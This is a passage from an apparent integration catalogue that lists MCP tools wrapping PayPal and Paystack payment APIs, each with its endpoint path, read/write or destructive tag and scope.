paypal_post_v2_invoicing_invoices_by_invoice_id_send (write) — Sends or schedules an invoice, by ID, to be sent to a customer. The action depends on the invoice issue date:<ul><li>If the invoice issue date is current or in the past, sends the invoice immediately.</li><li>If the invoice issue date is in the future, schedules the invoice to be sent on that date.</li></ul>To suppress the merchant's email notification, set the `send_to_invoicer` body parameter to `false`. To send the invoice through a share link and not through PayPal, set the <code>send_to_recipient</code> parameter to <code>false</code> in the <code>notification</code> object. The <code>send_to_recipient</code> parameter does not apply to a future issue date because the invoice is scheduled to be sent through PayPal on that date.<blockquote><strong>Notes:</strong><ul><li>After you send an invoice, resending it has no effect.</li><li>To send a notification for updates, <a href="#invoices_update">update the invoice</a> and set the <code>send_to_recipient</code> body parameter to <code>true</code>.</li></ul></blockquote> via POST /v2/invoicing/invoices/{invoice_id}/send POST /api/v1/paypal/v2/invoicing/invoices/{invoice_id}/send. Scopes: api. paypal_post_v2_invoicing_search_invoices (write) — Searches for and lists invoices that match search criteria. If you pass multiple criteria, the response lists invoices that match all criteria. via POST /v2/invoicing/search-invoices POST /api/v1/paypal/v2/invoicing/search-invoices. Scopes: api. paypal_post_v2_invoicing_templates (write) — Creates an invoice template. You can use details from this template to create an invoice. You can create up to 50 templates.<blockquote><strong>Note:</strong> Every merchant starts with three PayPal system templates that are optimized for the unit type billed. The template includes `Quantity`, `Hours`, and `Amount`.</blockquote> via POST /v2/invoicing/templates POST /api/v1/paypal/v2/invoicing/templates. Scopes: api. paypal_post_v2_payments_authorizations_by_authorization_id_capture (write) — Captures an authorized payment, by ID. via POST /v2/payments/authorizations/{authorization_id}/capture POST /api/v1/paypal/v2/payments/authorizations/{authorization_id}/capture. Scopes: api. paypal_post_v2_payments_authorizations_by_authorization_id_reauthorize (write) — Reauthorizes an authorized PayPal account payment, by ID. To ensure that funds are still available, reauthorize a payment after its initial three-day honor period expires. Within the 29-day authorization period, you can issue multiple re-authorizations after the honor period expires.<br/><br/>If 30 days have transpired since the date of the original authorization, you must create an authorized payment instead of reauthorizing the original authorized payment.<br/><br/>A reauthorized payment itself has a new honor period of three days.<br/><br/>You can reauthorize an authorized payment from 4 to 29 days after the 3-day honor period. The allowed amount depends on context and geography, for example in US it is up to 115% of the original authorized amount, not to exceed an increase of $75 USD.<br/><br/>Supports only the `amount` request parameter. via POST /v2/payments/authorizations/{authorization_id}/reauthorize POST /api/v1/paypal/v2/payments/authorizations/{authorization_id}/reauthorize. Scopes: api. paypal_post_v2_payments_authorizations_by_authorization_id_void (write) — Voids, or cancels, an authorized payment, by ID. You cannot void an authorized payment that has been fully captured. via POST /v2/payments/authorizations/{authorization_id}/void POST /api/v1/paypal/v2/payments/authorizations/{authorization_id}/void. Scopes: api. paypal_post_v2_payments_captures_by_capture_id_refund (write) — Refunds a captured payment, by ID. For a full refund, include an empty payload in the JSON request body. For a partial refund, include an <code>amount</code> object in the JSON request body. via POST /v2/payments/captures/{capture_id}/refund POST /api/v1/paypal/v2/payments/captures/{capture_id}/refund. Scopes: api. paypal_post_v2_payments_find_eligible_methods (write) — Get a list of eligible payment methods based on the input parameters provided. via POST /v2/payments/find-eligible-methods POST /api/v1/paypal/v2/payments/find-eligible-methods. Scopes: api. paypal_post_v3_vault_payment_tokens (write) — Creates a Payment Token from the given payment source and adds it to the Vault of the associated customer. via POST /v3/vault/payment-tokens POST /api/v1/paypal/v3/vault/payment-tokens. Scopes: api. paypal_post_v3_vault_setup_tokens (write) — Creates a Setup Token from the given payment source and adds it to the Vault of the associated customer. via POST /v3/vault/setup-tokens POST /api/v1/paypal/v3/vault/setup-tokens. Scopes: api. paypal_put_v1_payment_experience_web_profiles_by_id (write) — Updates a web experience profile, by ID. In the JSON request body, specify the profile details. If your request omits any profile parameters, any previously set values for those parameters are removed. via PUT /v1/payment-experience/web-profiles/{id} PUT /api/v1/paypal/v1/payment-experience/web-profiles/{id}. Scopes: api. paypal_put_v1_shipping_trackers_by_id (write) — Updates or cancels the tracking information for a PayPal transaction, by ID. To cancel tracking information, call this method and set the status to CANCELLED. For more information, see <a href="/docs/tracking/tracking-api/integrate/#link-updateorcanceltrackinginformation">Update or cancel tracking information</a>. via PUT /v1/shipping/trackers/{id} PUT /api/v1/paypal/v1/shipping/trackers/{id}. Scopes: api. paypal_put_v2_invoicing_invoices_by_invoice_id (write) — Fully updates an invoice, by ID. In the JSON request body, include a complete `invoice` object. This call does not support partial updates. <blockquote><strong>Notes:</strong><ul><li>API caller can change/modify recipient only 2 times in 72 hours.</li></ul></blockquote>. via PUT /v2/invoicing/invoices/{invoice_id} PUT /api/v1/paypal/v2/invoicing/invoices/{invoice_id}. Scopes: api. paypal_put_v2_invoicing_templates_by_template_id (write) — Fully updates a template, by ID. In the JSON request body, include a complete `template` object. This call does not support partial updates. via PUT /v2/invoicing/templates/{template_id} PUT /api/v1/paypal/v2/invoicing/templates/{template_id}. Scopes: api. ================================================================================ ## Paystack URL: https://www.agenticfabriq.com/integrations/paystack Section: Integrated Tools Paystack — 163 MCP tools Provider key: paystack. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. paystack_delete_apple_pay_domain (write, destructive) — Unregister a top-level domain or subdomain previously used for your Apple Pay integration. via DELETE /apple-pay/domain DELETE /api/v1/paystack/apple-pay/domain. Scopes: api. paystack_delete_dedicated_account_by_id (write, destructive) — Deactivate a dedicated virtual account on your integration. via DELETE /dedicated_account/{id} DELETE /api/v1/paystack/dedicated_account/{id}. Scopes: api. paystack_delete_dedicated_account_split (write, destructive) — If you've previously set up split payment for transactions on a dedicated virtual account, you can remove it with this endpoint via DELETE /dedicated_account/split DELETE /api/v1/paystack/dedicated_account/split. Scopes: api. paystack_delete_product_by_id (write, destructive) — Delete a previously created product via DELETE /product/{id} DELETE /api/v1/paystack/product/{id}. Scopes: api. paystack_delete_storefront_by_id (write, destructive) — Delete a previously created Storefront via DELETE /storefront/{id} DELETE /api/v1/paystack/storefront/{id}. Scopes: api. paystack_delete_transferrecipient_by_code (write, destructive) — Delete a transfer recipient (sets the transfer recipient to inactive) via DELETE /transferrecipient/{code} DELETE /api/v1/paystack/transferrecipient/{code}. Scopes: api. paystack_delete_virtual_terminal_by_code_split_code (write, destructive) — Remove Split Code from Virtual Terminal via DELETE /virtual_terminal/{code}/split_code DELETE /api/v1/paystack/virtual_terminal/{code}/split_code. Scopes: api. paystack_get_address_verification_states (read) — Get a list of states for a country for address verification via GET /address_verification/states GET /api/v1/paystack/address_verification/states. Scopes: api. paystack_get_apple_pay_domain (read) — Lists all registered domains on your integration. Returns an empty array if no domains have been added. via GET /apple-pay/domain GET /api/v1/paystack/apple-pay/domain. Scopes: api. paystack_get_balance (read) — Fetch the available balance on your integration via GET /balance GET /api/v1/paystack/balance. Scopes: api. paystack_get_balance_ledger (read) — Fetch all pay-ins and pay-outs that occured on your integration via GET /balance/ledger GET /api/v1/paystack/balance/ledger. Scopes: api. paystack_get_bank (read) — List banks supported on Paystack via GET /bank GET /api/v1/paystack/bank. Scopes: api. paystack_get_bank_resolve (read) — Resolve an account number to confirm the name associated with it via GET /bank/resolve GET /api/v1/paystack/bank/resolve. Scopes: api. paystack_get_bulkcharge (read) — List all bulk charge batches. via GET /bulkcharge GET /api/v1/paystack/bulkcharge. Scopes: api. paystack_get_bulkcharge_by_code (read) — This endpoint retrieves a specific batch code. It also returns useful information on its progress by way of the `total_charges` and `pending_charges` attributes. via GET /bulkcharge/{code} GET /api/v1/paystack/bulkcharge/{code}. Scopes: api. paystack_get_bulkcharge_by_code_charges (read) — This endpoint retrieves the charges associated with a specified batch code via GET /bulkcharge/{code}/charges GET /api/v1/paystack/bulkcharge/{code}/charges. Scopes: api. paystack_get_bulkcharge_pause_by_code (read) — Pause the processing of a charge batch via GET /bulkcharge/pause/{code} GET /api/v1/paystack/bulkcharge/pause/{code}. Scopes: api. paystack_get_bulkcharge_resume_by_code (read) — Resume the processing of a previously paused charge batch via GET /bulkcharge/resume/{code} GET /api/v1/paystack/bulkcharge/resume/{code}. Scopes: api. paystack_get_charge_by_reference (read) — When you get `pending` as a charge status or if there was an exception when calling any of the `/charge` endpoints, wait 10 seconds or more, then make a check to see if its status has changed. Don't call too early as you may get a lot more pending than you should. via GET /charge/{reference} GET /api/v1/paystack/charge/{reference}. Scopes: api. paystack_get_country (read) — List all supported countries on Paystack via GET /country GET /api/v1/paystack/country. Scopes: api. paystack_get_customer (read) — List customers on your integration via GET /customer GET /api/v1/paystack/customer. Scopes: api. paystack_get_customer_authorization_verify_by_reference (read) — Check the status of an authorization request via GET /customer/authorization/verify/{reference} GET /api/v1/paystack/customer/authorization/verify/{reference}. Scopes: api. paystack_get_customer_by_code (read) — Get details of a customer on your integration. via GET /customer/{code} GET /api/v1/paystack/customer/{code}. Scopes: api. paystack_get_customer_by_id_directdebit_mandate_authorizations (read) — Get the list of direct debit mandates associated with a customer via GET /customer/{id}/directdebit-mandate-authorizations GET /api/v1/paystack/customer/{id}/directdebit-mandate-authorizations. Scopes: api. paystack_get_decision_bin_by_bin (read) — Get the details of a card BIN via GET /decision/bin/{bin} GET /api/v1/paystack/decision/bin/{bin}. Scopes: api. paystack_get_dedicated_account (read) — List dedicated virtual accounts available on your integration. via GET /dedicated_account GET /api/v1/paystack/dedicated_account. Scopes: api. paystack_get_dedicated_account_available_providers (read) — Get available bank providers for a dedicated virtual account via GET /dedicated_account/available_providers GET /api/v1/paystack/dedicated_account/available_providers. Scopes: api. paystack_get_dedicated_account_by_id (read) — Get details of a dedicated virtual account on your integration. via GET /dedicated_account/{id} GET /api/v1/paystack/dedicated_account/{id}. Scopes: api. paystack_get_dedicated_account_requery (read) — Requery Dedicated Virtual Account for new transactions via GET /dedicated_account/requery GET /api/v1/paystack/dedicated_account/requery. Scopes: api. paystack_get_directdebit_mandate_authorizations (read) — Get a list of all the direct debit mandates on your integration via GET /directdebit/mandate-authorizations GET /api/v1/paystack/directdebit/mandate-authorizations. Scopes: api. paystack_get_dispute (read) — List transaction disputes filed by customers via GET /dispute GET /api/v1/paystack/dispute. Scopes: api. paystack_get_dispute_by_id (read) — Fetch a transaction dispute via GET /dispute/{id} GET /api/v1/paystack/dispute/{id}. Scopes: api. paystack_get_dispute_by_id_upload_url (read) — Get the URL to upload a dispute evidence via GET /dispute/{id}/upload_url GET /api/v1/paystack/dispute/{id}/upload_url. Scopes: api. paystack_get_dispute_export (read) — Export the disputes available on your integration via GET /dispute/export GET /api/v1/paystack/dispute/export. Scopes: api. paystack_get_dispute_transaction_by_id (read) — List all disputes filed for a transaction via GET /dispute/transaction/{id} GET /api/v1/paystack/dispute/transaction/{id}. Scopes: api. paystack_get_integration_payment_session_timeout (read) — Fetch the session timeout of a transaction via GET /integration/payment_session_timeout GET /api/v1/paystack/integration/payment_session_timeout. Scopes: api. paystack_get_order (read) — List the previously created orders via GET /order GET /api/v1/paystack/order. Scopes: api. paystack_get_order_by_code_validate (read) — Validate a pay for me order via GET /order/{code}/validate GET /api/v1/paystack/order/{code}/validate. Scopes: api. paystack_get_order_by_id (read) — Fetch the details of a previously created order via GET /order/{id} GET /api/v1/paystack/order/{id}. Scopes: api. paystack_get_order_product_by_id (read) — Fetch all orders for a particular product via GET /order/product/{id} GET /api/v1/paystack/order/product/{id}. Scopes: api. paystack_get_page (read) — List all previously created payment pages via GET /page GET /api/v1/paystack/page. Scopes: api. paystack_get_page_by_id (read) — Get a previously created payment page via GET /page/{id} GET /api/v1/paystack/page/{id}. Scopes: api. paystack_get_page_check_slug_availability_by_slug (read) — Check if a custom slug is available for use when creating a payment page via GET /page/check_slug_availability/{slug} GET /api/v1/paystack/page/check_slug_availability/{slug}. Scopes: api. paystack_get_paymentrequest (read) — List all previously created payment requests to your customers via GET /paymentrequest GET /api/v1/paystack/paymentrequest. Scopes: api. paystack_get_paymentrequest_by_id (read) — Fetch a previously created payment request via GET /paymentrequest/{id} GET /api/v1/paystack/paymentrequest/{id}. Scopes: api. paystack_get_paymentrequest_totals (read) — Get the metric of all pending and successful payment requests via GET /paymentrequest/totals GET /api/v1/paystack/paymentrequest/totals. Scopes: api. paystack_get_paymentrequest_verify_by_id (read) — Verify the status of a previously created payment request via GET /paymentrequest/verify/{id} GET /api/v1/paystack/paymentrequest/verify/{id}. Scopes: api. paystack_get_plan (read) — List all recurring payment plans via GET /plan GET /api/v1/paystack/plan. Scopes: api. paystack_get_plan_by_code (read) — Get the details of a payment plan via GET /plan/{code} GET /api/v1/paystack/plan/{code}. Scopes: api. paystack_get_product (read) — List all previously created products via GET /product GET /api/v1/paystack/product. Scopes: api. paystack_get_product_by_id (read) — Fetch a previously created product via GET /product/{id} GET /api/v1/paystack/product/{id}. Scopes: api. paystack_get_refund (read) — List previously created refunds via GET /refund GET /api/v1/paystack/refund. Scopes: api. paystack_get_refund_by_id (read) — Get a previously created refund via GET /refund/{id} GET /api/v1/paystack/refund/{id}. Scopes: api. paystack_get_settlement (read) — List settlements made to your settlement accounts via GET /settlement GET /api/v1/paystack/settlement. Scopes: api. paystack_get_settlement_by_id_transactions (read) — Get the transactions that make up a particular settlement via GET /settlement/{id}/transactions GET /api/v1/paystack/settlement/{id}/transactions. Scopes: api. paystack_get_split (read) — List the transaction splits available on your integration via GET /split GET /api/v1/paystack/split. Scopes: api. paystack_get_split_by_id (read) — Get details of a split configuration for a transaction via GET /split/{id} GET /api/v1/paystack/split/{id}. Scopes: api. paystack_get_storefront (read) — List the storefronts you previously created via GET /storefront GET /api/v1/paystack/storefront. Scopes: api. paystack_get_storefront_by_id (read) — Get the details of a previously created Storefront via GET /storefront/{id} GET /api/v1/paystack/storefront/{id}. Scopes: api. paystack_get_storefront_by_id_order (read) — Fetch all orders in your Storefront via GET /storefront/{id}/order GET /api/v1/paystack/storefront/{id}/order. Scopes: api. paystack_get_storefront_by_id_product (read) — List the products in a Storefront via GET /storefront/{id}/product GET /api/v1/paystack/storefront/{id}/product. Scopes: api. paystack_get_storefront_verify_by_slug (read) — Verify the availability of a slug before using it for your Storefront via GET /storefront/verify/{slug} GET /api/v1/paystack/storefront/verify/{slug}. Scopes: api. paystack_get_subaccount (read) — List subaccounts available on your integration via GET /subaccount GET /api/v1/paystack/subaccount. Scopes: api. paystack_get_subaccount_by_code (read) — Get details of a subaccount on your integration via GET /subaccount/{code} GET /api/v1/paystack/subaccount/{code}. Scopes: api. paystack_get_subscription (read) — List all subscriptions available on your integration via GET /subscription GET /api/v1/paystack/subscription. Scopes: api. paystack_get_subscription_by_code (read) — Get details of a customer's subscription via GET /subscription/{code} GET /api/v1/paystack/subscription/{code}. Scopes: api. paystack_get_subscription_by_code_manage_link (read) — Generate a link for updating the card on a subscription via GET /subscription/{code}/manage/link GET /api/v1/paystack/subscription/{code}/manage/link. Scopes: api. paystack_get_terminal (read) — List the Terminals available on your integration via GET /terminal GET /api/v1/paystack/terminal. Scopes: api. paystack_get_terminal_by_terminal_id (read) — Get the details of a Terminal via GET /terminal/{terminal_id} GET /api/v1/paystack/terminal/{terminal_id}. Scopes: api. paystack_get_terminal_by_terminal_id_event_by_event_id (read) — Check the status of an event sent to the Terminal via GET /terminal/{terminal_id}/event/{event_id} GET /api/v1/paystack/terminal/{terminal_id}/event/{event_id}. Scopes: api. paystack_get_terminal_by_terminal_id_presence (read) — Check the availiability of a Terminal before sending an event to it via GET /terminal/{terminal_id}/presence GET /api/v1/paystack/terminal/{terminal_id}/presence. Scopes: api. paystack_get_transaction (read) — List transactions that has occurred on your integration via GET /transaction GET /api/v1/paystack/transaction. Scopes: api. paystack_get_transaction_by_id (read) — Fetch a transaction to get its details via GET /transaction/{id} GET /api/v1/paystack/transaction/{id}. Scopes: api. paystack_get_transaction_export (read) — Download transactions that occurred on your integration for a specific timeframe via GET /transaction/export GET /api/v1/paystack/transaction/export. Scopes: api. paystack_get_transaction_timeline_by_id (read) — Fetch the steps taken from the initiation to the completion of a transaction via GET /transaction/timeline/{id} GET /api/v1/paystack/transaction/timeline/{id}. Scopes: api. paystack_get_transaction_totals (read) — Get the total amount of all transactions via GET /transaction/totals GET /api/v1/paystack/transaction/totals. Scopes: api. paystack_get_transaction_verify_by_reference (read) — Verify a previously initiated transaction using it's reference via GET /transaction/verify/{reference} GET /api/v1/paystack/transaction/verify/{reference}. Scopes: api. paystack_get_transfer (read) — List the transfers made on your integration via GET /transfer GET /api/v1/paystack/transfer. Scopes: api. paystack_get_transfer_by_code (read) — Get details of a transfer on your integration via GET /transfer/{code} GET /api/v1/paystack/transfer/{code}. Scopes: api. paystack_get_transfer_export (read) — Export a list of transfers carried out on your integration via GET /transfer/export GET /api/v1/paystack/transfer/export. Scopes: api. paystack_get_transfer_verify_by_reference (read) — Verify the status of a transfer on your integration via GET /transfer/verify/{reference} GET /api/v1/paystack/transfer/verify/{reference}. Scopes: api. paystack_get_transferrecipient (read) — List transfer recipients available on your integration via GET /transferrecipient GET /api/v1/paystack/transferrecipient. Scopes: api. paystack_get_transferrecipient_by_code (read) — Fetch the details of a transfer recipient via GET /transferrecipient/{code} GET /api/v1/paystack/transferrecipient/{code}. Scopes: api. paystack_get_virtual_terminal (read) — List Virtual Terminals on your integration via GET /virtual_terminal GET /api/v1/paystack/virtual_terminal. Scopes: api. paystack_get_virtual_terminal_by_code (read) — Fetch a Virtual Terminal on your integration via GET /virtual_terminal/{code} GET /api/v1/paystack/virtual_terminal/{code}. Scopes: api. paystack_post_apple_pay_domain (write) — Register a top-level domain or subdomain for your Apple Pay integration. > This endpoint can only be called with one domain or subdomain at a time. via POST /apple-pay/domain POST /api/v1/paystack/apple-pay/domain. Scopes: api. paystack_post_bank_validate (write) — Confirm the authenticity of a customer's account number before sending money via POST /bank/validate POST /api/v1/paystack/bank/validate. Scopes: api. paystack_post_bulkcharge (write) — Charge multiple customers in batches via POST /bulkcharge POST /api/v1/paystack/bulkcharge. Scopes: api. paystack_post_charge (write) — Initiate a payment by integrating the payment channel of your choice. via POST /charge POST /api/v1/paystack/charge. Scopes: api. paystack_post_charge_submit_address (write) — Send the details of the customer's address for address verification via POST /charge/submit_address POST /api/v1/paystack/charge/submit_address. Scopes: api. paystack_post_charge_submit_birthday (write) — Submit the customer's birthday when requested via POST /charge/submit_birthday POST /api/v1/paystack/charge/submit_birthday. Scopes: api. paystack_post_charge_submit_otp (write) — Submit OTP to complete a charge via POST /charge/submit_otp POST /api/v1/paystack/charge/submit_otp. Scopes: api. paystack_post_charge_submit_phone (write) — Submit phone number when requested via POST /charge/submit_phone POST /api/v1/paystack/charge/submit_phone. Scopes: api. paystack_post_charge_submit_pin (write) — Submit PIN to continue a charge via POST /charge/submit_pin POST /api/v1/paystack/charge/submit_pin. Scopes: api. paystack_post_customer (write) — Create a customer on your integration via POST /customer POST /api/v1/paystack/customer. Scopes: api. paystack_post_customer_authorization_deactivate (write) — Deactivate an authorization for any payment channel. via POST /customer/authorization/deactivate POST /api/v1/paystack/customer/authorization/deactivate. Scopes: api. paystack_post_customer_authorization_initialize (write) — Initiate a request to create a reusable authorization code for recurring transactions via POST /customer/authorization/initialize POST /api/v1/paystack/customer/authorization/initialize. Scopes: api. paystack_post_customer_by_code_identification (write) — Validate a customer's identity via POST /customer/{code}/identification POST /api/v1/paystack/customer/{code}/identification. Scopes: api. paystack_post_customer_by_id_initialize_direct_debit (write) — Initialize the process of linking an account to a customer for Direct Debit transactions via POST /customer/{id}/initialize-direct-debit POST /api/v1/paystack/customer/{id}/initialize-direct-debit. Scopes: api. paystack_post_customer_set_risk_action (write) — Set customer's risk action by whitelisting or blacklisting the customer via POST /customer/set_risk_action POST /api/v1/paystack/customer/set_risk_action. Scopes: api. paystack_post_dedicated_account (write) — Create a dedicated virtual account for an existing customer via POST /dedicated_account POST /api/v1/paystack/dedicated_account. Scopes: api. paystack_post_dedicated_account_assign (write) — With this endpoint, you can create a customer, validate the customer, and assign a DVA to the customer. via POST /dedicated_account/assign POST /api/v1/paystack/dedicated_account/assign. Scopes: api. paystack_post_dedicated_account_split (write) — Split a dedicated virtual account transaction with one or more accounts via POST /dedicated_account/split POST /api/v1/paystack/dedicated_account/split. Scopes: api. paystack_post_dispute_by_id_evidence (write) — Provide evidence for a dispute via POST /dispute/{id}/evidence POST /api/v1/paystack/dispute/{id}/evidence. Scopes: api. paystack_post_order (write) — Create an order for selected items via POST /order POST /api/v1/paystack/order. Scopes: api. paystack_post_page (write) — Create a webpage to receive payments via POST /page POST /api/v1/paystack/page. Scopes: api. paystack_post_page_by_id_product (write) — Add products to a previously created payment page. You can only add products to pages that was created with a `product` type. via POST /page/{id}/product POST /api/v1/paystack/page/{id}/product. Scopes: api. paystack_post_paymentrequest (write) — Create a new payment request by issuing an invoice to a customer via POST /paymentrequest POST /api/v1/paystack/paymentrequest. Scopes: api. paystack_post_paymentrequest_archive_by_id (write) — Archive a payment request to clean up your records. An archived payment request cannot be verified and will not be returned when listing all previously created payment requests. via POST /paymentrequest/archive/{id} POST /api/v1/paystack/paymentrequest/archive/{id}. Scopes: api. paystack_post_paymentrequest_finalize_by_id (write) — Finalise the creation of a draft payment request for a customer via POST /paymentrequest/finalize/{id} POST /api/v1/paystack/paymentrequest/finalize/{id}. Scopes: api. paystack_post_paymentrequest_notify_by_id (write) — Trigger an email reminder to a customer for a previously created payment request via POST /paymentrequest/notify/{id} POST /api/v1/paystack/paymentrequest/notify/{id}. Scopes: api. paystack_post_plan (write) — Create a plan for recurring payments via POST /plan POST /api/v1/paystack/plan. Scopes: api. paystack_post_product (write) — Create a new product on your integration via POST /product POST /api/v1/paystack/product. Scopes: api. paystack_post_refund (write) — Initiate a refund for a previously completed transaction via POST /refund POST /api/v1/paystack/refund. Scopes: api. paystack_post_refund_retry_with_customer_details_by_id (write) — Retry a refund with a `needs-attention` status by providing the bank account details of a customer. via POST /refund/retry_with_customer_details/{id} POST /api/v1/paystack/refund/retry_with_customer_details/{id}. Scopes: api. paystack_post_split (write) — Create a split configuration for transactions via POST /split POST /api/v1/paystack/split. Scopes: api. paystack_post_split_by_id_subaccount_add (write) — Add a subaccount to a split configuration, or update the share of an existing subaccount via POST /split/{id}/subaccount/add POST /api/v1/paystack/split/{id}/subaccount/add. Scopes: api. paystack_post_split_by_id_subaccount_remove (write) — Remove a subaccount from a split configuration via POST /split/{id}/subaccount/remove POST /api/v1/paystack/split/{id}/subaccount/remove. Scopes: api. paystack_post_storefront (write) — Create a digital shop to manage and display your products via POST /storefront POST /api/v1/paystack/storefront. Scopes: api. paystack_post_storefront_by_id_duplicate (write) — Duplicate a previously created Storefront via POST /storefront/{id}/duplicate POST /api/v1/paystack/storefront/{id}/duplicate. Scopes: api. paystack_post_storefront_by_id_product (write) — Add previously created products to a Storefront via POST /storefront/{id}/product POST /api/v1/paystack/storefront/{id}/product. Scopes: api. paystack_post_storefront_by_id_publish (write) — Make your Storefront publicly available via POST /storefront/{id}/publish POST /api/v1/paystack/storefront/{id}/publish. Scopes: api. paystack_post_subaccount (write) — Create a subacount for a partner via POST /subaccount POST /api/v1/paystack/subaccount. Scopes: api. paystack_post_subscription (write) — Create a subscription a customer via POST /subscription POST /api/v1/paystack/subscription. Scopes: api. paystack_post_subscription_by_code_manage_email (write) — Email a customer a link for updating the card on their subscription via POST /subscription/{code}/manage/email POST /api/v1/paystack/subscription/{code}/manage/email. Scopes: api. paystack_post_subscription_disable (write) — Disable a subscription on your integration via POST /subscription/disable POST /api/v1/paystack/subscription/disable. Scopes: api. paystack_post_subscription_enable (write) — Enable a subscription on your integration via POST /subscription/enable POST /api/v1/paystack/subscription/enable. Scopes: api. paystack_post_terminal_by_id_event (write) — Send an event from your application to the Paystack Terminal via POST /terminal/{id}/event POST /api/v1/paystack/terminal/{id}/event. Scopes: api. paystack_post_terminal_commission_device (write) — Activate your debug device by linking it to your integration via POST /terminal/commission_device POST /api/v1/paystack/terminal/commission_device. Scopes: api. paystack_post_terminal_decommission_device (write) — Unlink your debug device from your integration via POST /terminal/decommission_device POST /api/v1/paystack/terminal/decommission_device. Scopes: api. paystack_post_transaction_charge_authorization (write) — Charge all authorizations marked as reusable with this endpoint whenever you need to receive payments via POST /transaction/charge_authorization POST /api/v1/paystack/transaction/charge_authorization. Scopes: api. paystack_post_transaction_initialize (write) — Create a new transaction via POST /transaction/initialize POST /api/v1/paystack/transaction/initialize. Scopes: api. paystack_post_transaction_partial_debit (write) — Retrieve part of a payment from a customer via POST /transaction/partial_debit POST /api/v1/paystack/transaction/partial_debit. Scopes: api. paystack_post_transfer (write) — Send money to your customers via POST /transfer POST /api/v1/paystack/transfer. Scopes: api. paystack_post_transfer_bulk (write) — Batch multiple transfers in a single request. You need to disable the Transfers OTP requirement to use this endpoint. via POST /transfer/bulk POST /api/v1/paystack/transfer/bulk. Scopes: api. paystack_post_transfer_disable_otp (write) — This is used in the event that you want to be able to complete transfers programmatically without use of OTPs. No arguments required. You will get an OTP to complete the request. via POST /transfer/disable_otp POST /api/v1/paystack/transfer/disable_otp. Scopes: api. paystack_post_transfer_disable_otp_finalize (write) — Finalize the request to disable OTP on your transfers via POST /transfer/disable_otp_finalize POST /api/v1/paystack/transfer/disable_otp_finalize. Scopes: api. paystack_post_transfer_enable_otp (write) — In the event that a customer wants to stop being able to complete transfers programmatically, this endpoint helps turn OTP requirement back on. No arguments required. via POST /transfer/enable_otp POST /api/v1/paystack/transfer/enable_otp. Scopes: api. paystack_post_transfer_finalize_transfer (write) — Finalize an initiated transfer via POST /transfer/finalize_transfer POST /api/v1/paystack/transfer/finalize_transfer. Scopes: api. paystack_post_transfer_resend_otp (write) — Generates and send a new OTP to customer in the event they are having trouble receiving one. via POST /transfer/resend_otp POST /api/v1/paystack/transfer/resend_otp. Scopes: api. paystack_post_transferrecipient (write) — Creates a new recipient. A duplicate account number will lead to the retrieval of the existing record. via POST /transferrecipient POST /api/v1/paystack/transferrecipient. Scopes: api. paystack_post_transferrecipient_bulk (write) — Create multiple transfer recipients in batches. A duplicate account number will lead to the retrieval of the existing record. via POST /transferrecipient/bulk POST /api/v1/paystack/transferrecipient/bulk. Scopes: api. paystack_post_virtual_terminal (write) — Create a Virtual Terminal on your integration via POST /virtual_terminal POST /api/v1/paystack/virtual_terminal. Scopes: api. paystack_post_virtual_terminal_by_code_destination_assign (write) — Add a destination (WhatsApp number) to a Virtual Terminal on your integration via POST /virtual_terminal/{code}/destination/assign POST /api/v1/paystack/virtual_terminal/{code}/destination/assign. Scopes: api. paystack_post_virtual_terminal_by_code_destination_unassign (write) — Unassign a destination (WhatsApp Number) from a Virtual Terminal on your integration via POST /virtual_terminal/{code}/destination/unassign POST /api/v1/paystack/virtual_terminal/{code}/destination/unassign. Scopes: api. paystack_put_customer_by_code (write) — Update a customer's details on your integration via PUT /customer/{code} PUT /api/v1/paystack/customer/{code}. Scopes: api. paystack_put_customer_by_id_directdebit_activation_charge (write) — Trigger an activation charge on an inactive mandate on behalf of your customer via PUT /customer/{id}/directdebit-activation-charge PUT /api/v1/paystack/customer/{id}/directdebit-activation-charge. Scopes: api. paystack_put_directdebit_activation_charge (write) — Trigger activation charge for specified customers via PUT /directdebit/activation-charge PUT /api/v1/paystack/directdebit/activation-charge. Scopes: api. paystack_put_dispute_by_id (write) — Update a transaction dispute via PUT /dispute/{id} PUT /api/v1/paystack/dispute/{id}. Scopes: api. paystack_put_dispute_by_id_resolve (write) — Resolve a transaction dispute via PUT /dispute/{id}/resolve PUT /api/v1/paystack/dispute/{id}/resolve. Scopes: api. paystack_put_integration_payment_session_timeout (write) — Update the session timeout of a transaction via PUT /integration/payment_session_timeout PUT /api/v1/paystack/integration/payment_session_timeout. Scopes: api. paystack_put_page_by_id (write) — Update a previously created payment page via PUT /page/{id} PUT /api/v1/paystack/page/{id}. Scopes: api. paystack_put_paymentrequest_by_id (write) — Update a previously created payment request via PUT /paymentrequest/{id} PUT /api/v1/paystack/paymentrequest/{id}. Scopes: api. paystack_put_plan_by_code (write) — Update a plan details on your integration via PUT /plan/{code} PUT /api/v1/paystack/plan/{code}. Scopes: api. paystack_put_product_by_id (write) — Update a previously created product via PUT /product/{id} PUT /api/v1/paystack/product/{id}. Scopes: api. paystack_put_split_by_id (write) — Update a split configuration for transactions via PUT /split/{id} PUT /api/v1/paystack/split/{id}. Scopes: api. paystack_put_storefront_by_id (write) — Update the details of a previously created Storefront via PUT /storefront/{id} PUT /api/v1/paystack/storefront/{id}. Scopes: api. paystack_put_subaccount_by_code (write) — Update a subaccount details on your integration via PUT /subaccount/{code} PUT /api/v1/paystack/subaccount/{code}. Scopes: api. paystack_put_terminal_by_terminal_id (write) — Update the details of a Terminal via PUT /terminal/{terminal_id} PUT /api/v1/paystack/terminal/{terminal_id}. Scopes: api. paystack_put_transferrecipient_by_code (write) — Update the details of a transfer recipient via PUT /transferrecipient/{code} PUT /api/v1/paystack/transferrecipient/{code}. Scopes: api. paystack_put_virtual_terminal_by_code (write) — Update a Virtual Terminal on your integration via PUT /virtual_terminal/{code} PUT /api/v1/paystack/virtual_terminal/{code}. Scopes: api. paystack_put_virtual_terminal_by_code_deactivate (write) — Deactivate a Virtual Terminal on your integration via PUT /virtual_terminal/{code}/deactivate PUT /api/v1/paystack/virtual_terminal/{code}/deactivate. Scopes: api. paystack_put_virtual_terminal_by_code_split_code (write) — Add Split Code to Virtual Terminal via PUT /virtual_terminal/{code}/split_code PUT /api/v1/paystack/virtual_terminal/{code}/split_code. 